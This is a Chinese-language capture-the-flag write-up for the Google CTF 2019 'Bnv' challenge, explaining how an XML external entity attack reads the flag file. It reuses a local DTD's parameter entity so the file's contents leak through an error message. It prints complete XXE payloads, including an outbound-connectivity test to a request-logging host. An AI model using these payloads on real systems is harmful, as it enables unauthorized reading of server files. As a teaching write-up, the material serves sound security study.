[GoogleCTF2019 Quals]Bnv -S

考点:通过xml的参数实体的路径爆错读取敏感信息

知识点1:参考

该文章通过枚举文件,找到了不同系统可能本地含有的dtd文件。
例如linux可能存在/usr/share/yelp/dtd/docbookx.dtd
并且该dtd中引用了一个ISOamsa参数实体,因此我们可以定义ISOamsa的内容进行某些攻击。

做题:

1.开启bp,点击submit抓包。

2.发现通过json格式传送message参数,此处尝试使用xml格式传送数据,如果可以的话,就可以考虑使用xxe进行攻击。

构造xml:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE message [
<!ELEMENT message ANY >
<!ENTITY test "135601360123502401401250">
]>
<message>&test;</message>

 

服务器成功解析,接下来看看能不能连接外网:

测试xml:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE message [
<!ELEMENT message ANY >
<!ENTITY test "135601360123502401401250">
<!ENTITY % a SYSTEM "https://bbbbb.free.beeceptor.com">
%a;
]>
<message>&test;</message>

 

'https://bbbbb.free.beeceptor.com'是在Beeceptor上获取的一个用于测试的域名,可以记录访问日志。在Beeceptor上并没有发现有连接的日志,因此无法联通外网。也就无法通过http协议将读取到的信息带出来。

测试引用本地存在的文件:

 测试引用本地不存在的文件:

可以发现返回的结果不同, 当存在该文件时返回internal error,可以通过这个特点可以试出flag的存放位置,当引用file:///flag时返回internal error,因此flag在根目录下。

接下来就是读取flag,flag可以使用file协议读取,但因为页面无回显以及无法对外通信,我们看不到读取的内容,接下来就是解决如何把读到的内容显示出来。

注意到当路径错误时会返回错误路径,这让我联想到sql的报错注入,如果把file协议读取到的信息
拼接到路径中是否就可以通过报错显示出来了?

给出paylaod:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE message [
<!ELEMENT message ANY >
<!ENTITY m "135601360123502401401250">
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamsa '
<!ENTITY % flag SYSTEM "file:///flag">
<!ENTITY % getflag "<!ENTITY % test SYSTEM 'file:///%flag;'>">
'>
%local_dtd;%getflag;%test;
]>
<message>&m;</message>

 对实体内%,' ,& 进行unicode编码防止报错:

% => &#37                    ' => &#39                & => &#38

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE message [
<!ELEMENT message ANY >
<!ENTITY m "135601360123502401401250">
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamsa '
<!ENTITY &#37; flag SYSTEM "file:///flag">
<!ENTITY &#37; getflag "<!ENTITY &#38;#37; test SYSTEM &#39;file:///&#37;flag;&#39;>">
'>
%local_dtd;%getflag;%test;
]>
<message>&m;</message>

%local_dtd;%getflag;%test;解析过程:

1.初始状态
<!ENTITY % ISOamsa '
<!ENTITY &#37; flag SYSTEM "file:///flag">
<!ENTITY &#37; getflag "<!ENTITY &#38;#37; test SYSTEM &#39;file:///&#37;flag;&#39;>">
'>
%local_dtd;%getflag;%test;

2.解析%local_dtd;
<!ENTITY % flag SYSTEM "file:///flag">
<!ENTITY % getflag "<!ENTITY %#37; test SYSTEM 'file:///&#37;flag;'>">
%getflag;%test;

3.解析%getflag;
<!ENTITY % flag SYSTEM "file:///flag">
<!ENTITY % test SYSTEM 'file:///%flag;'>
%test;

4.解析%test;
此时flag会被拼接到test的路径中,并读取路径,之后就是报错,我们就可以从报错的路径中看到flag


版权声明:本文为nigo134原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明。